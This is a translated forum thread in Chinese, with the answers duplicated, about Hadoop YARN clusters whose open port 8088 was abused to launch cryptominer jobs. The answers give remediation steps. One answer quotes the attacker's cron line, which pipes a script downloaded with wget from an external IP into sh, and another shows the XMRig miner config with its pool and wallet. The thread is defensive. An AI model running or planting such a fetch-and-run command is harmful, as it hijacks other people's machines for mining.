我在hadoop集群中收到了这个错误消息。有人能解释一下为什么吗？不知何故，更多的2000份工作申请被创造出来，却无缘无故地失败了。
9wbgstp71#
编辑：我在这里添加了关于如何处理这个问题的小指南google cloud dataproc virus crytalminer（who博士）你可能想到了什么：黑客扫描每个打开的漏洞（ip地址+端口）并将其存储到漏洞表中黑客扫描漏洞表，试图找出你最近是否启动了一个集群当一个易受攻击的集群可用时，黑客会连接到它（一切都是开放的，并且发现了一个漏洞！）这个家伙连接到你的集群，删除所有的东西（在我的例子中，脚本名为 zz.sh 你可以在下面的bitbucket链接中找到它），然后下载挖掘应用程序Yarn认为工人正在失败，但我甚至不认为hadoop应用程序正在运行了。我建议您尝试在错误日志中查找bitbucket/github地址。您还可以尝试查找get/wget/apt get/curl命令。我猜他现在有钱了。两件重要的事情：请检查您的安全组配置是否足够强大，并且没有任何公共授权检查您的ssh密钥是否被泄露。相关：如何以用户身份使用resourcemanager web界面hdp-261-virus-crytalminer-drwho.html
zz.sh
xytpbqjk2#
在googlecloud上，一个机器人攻击端口8088并启动了很多应用程序。1在googlecloud中，我添加了一个防火墙规则来阻止8088访问2。终止Yarn中的所有应用程序 yarn application -list |grep 'dr.who'| awk '$6 == "ACCEPTED" { print $1 }'| while read app; do yarn application -kill "$app"; done 三。终止所有属于yarn的进程（上一步释放了cpu，但之后您的网络将耗尽） ps -ef |grep yarn |awk '{ print $2}'|while read p ; do sudo kill -9 $p; done 现在使用控制台跟随Yarn；-）
yarn application -list |grep 'dr.who'| awk '$6 == "ACCEPTED" { print $1 }'| while read app; do yarn application -kill "$app"; done
ps -ef |grep yarn |awk '{ print $2}'|while read p ; do sudo kill -9 $p; done
frebpwbc3#
您需要编辑主应用程序和从应用程序的安全组，并限制对用于监视应用程序及其日志的端口8088的访问。资源管理器还接受通过restapi提交和运行的应用程序。单击此处获取有关rm的RESTAPI的更多信息。黑客使用这个端口提交一个yarn应用程序，该应用程序 Package 了一个shell脚本来下载monero的二进制文件，并将它们放到“/var/tmp/java”这样的位置并运行它们。Yarn认为这是一个应用程序，但它将推出采矿软件。但这不是java，如果用它运行--version命令参数，您将得到以下结果
[hadoop@ip-172-31-28-26 ~]$ /var/tmp/java --version XMRig 2.6.2 built on Jun 24 2018 with GCC 6.3.0 features: 64-bit AES
另外，如果您找到文件“/var/tmp/w.conf”，打开文件，您可以看到他使用的monero钱包服务器、他的钱包地址和密码等。请参阅下面，我在我的emr示例中找到的一个示例
{ "algo": "cryptonight", "background": true, "donate-level": 1, "log-file": null, "print-time": 60, "max-cpu-usage": 95, "pools": [ { "url": "stratum+tcp://163.172.205.136:3333", "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S", "pass": "h", "variant": -1 } ], "api": { "port": 0, "access-token": null, "worker-id": null }
}总之，请按照以下步骤处理此问题。移除对任何不安全端口的公共访问。尤其是8088检查您的crontab并删除任何您没有识别的条目删除目录（如“/var/tmp”）中的内容，但确保它们不是您的使用top命令查看占用所有cpu的进程的pid并杀死它们遵循上述步骤将确保挖掘程序不会再次启动
mu0hgdu04#
这可能是一个黑客。。。有一家加密货币矿商创造了数千个这样的就业机会。检查每个节点上可疑的cron作业并将其删除。
$ sudo -u yarn crontab -e * /2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1
然后检查像这样的“java”进程并杀死它。
/var/tmp/java -c /var/tmp/wc.conf
您还应该保护到集群的所有传入端口，以防止这些端口再次出现。更多信息请参见此。https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html
4条答案
按热度按时间9wbgstp71#
编辑：我在这里添加了关于如何处理这个问题的小指南google cloud dataproc virus crytalminer（who博士）
你可能想到了什么：
黑客扫描每个打开的漏洞（ip地址+端口）并将其存储到漏洞表中
黑客扫描漏洞表，试图找出你最近是否启动了一个集群
当一个易受攻击的集群可用时，黑客会连接到它（一切都是开放的，并且发现了一个漏洞！）
这个家伙连接到你的集群，删除所有的东西（在我的例子中，脚本名为
zz.sh你可以在下面的bitbucket链接中找到它），然后下载挖掘应用程序Yarn认为工人正在失败，但我甚至不认为hadoop应用程序正在运行了。
我建议您尝试在错误日志中查找bitbucket/github地址。您还可以尝试查找get/wget/apt get/curl命令。
我猜他现在有钱了。
两件重要的事情：
请检查您的安全组配置是否足够强大，并且没有任何公共授权
检查您的ssh密钥是否被泄露。
相关：
如何以用户身份使用resourcemanager web界面
hdp-261-virus-crytalminer-drwho.html
xytpbqjk2#
在googlecloud上，一个机器人攻击端口8088并启动了很多应用程序。1在googlecloud中，我添加了一个防火墙规则来阻止8088访问2。终止Yarn中的所有应用程序
yarn application -list |grep 'dr.who'| awk '$6 == "ACCEPTED" { print $1 }'| while read app; do yarn application -kill "$app"; done三。终止所有属于yarn的进程（上一步释放了cpu，但之后您的网络将耗尽）ps -ef |grep yarn |awk '{ print $2}'|while read p ; do sudo kill -9 $p; done现在使用控制台跟随Yarn；-）frebpwbc3#
您需要编辑主应用程序和从应用程序的安全组，并限制对用于监视应用程序及其日志的端口8088的访问。资源管理器还接受通过restapi提交和运行的应用程序。单击此处获取有关rm的RESTAPI的更多信息。黑客使用这个端口提交一个yarn应用程序，该应用程序 Package 了一个shell脚本来下载monero的二进制文件，并将它们放到“/var/tmp/java”这样的位置并运行它们。Yarn认为这是一个应用程序，但它将推出采矿软件。但这不是java，如果用它运行--version命令参数，您将得到以下结果
另外，如果您找到文件“/var/tmp/w.conf”，打开文件，您可以看到他使用的monero钱包服务器、他的钱包地址和密码等。请参阅下面，我在我的emr示例中找到的一个示例
}
总之，请按照以下步骤处理此问题。
移除对任何不安全端口的公共访问。尤其是8088
检查您的crontab并删除任何您没有识别的条目
删除目录（如“/var/tmp”）中的内容，但确保它们不是您的
使用top命令查看占用所有cpu的进程的pid并杀死它们
遵循上述步骤将确保挖掘程序不会再次启动
mu0hgdu04#
这可能是一个黑客。。。有一家加密货币矿商创造了数千个这样的就业机会。
检查每个节点上可疑的cron作业并将其删除。
然后检查像这样的“java”进程并杀死它。
您还应该保护到集群的所有传入端口，以防止这些端口再次出现。
更多信息请参见此。https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html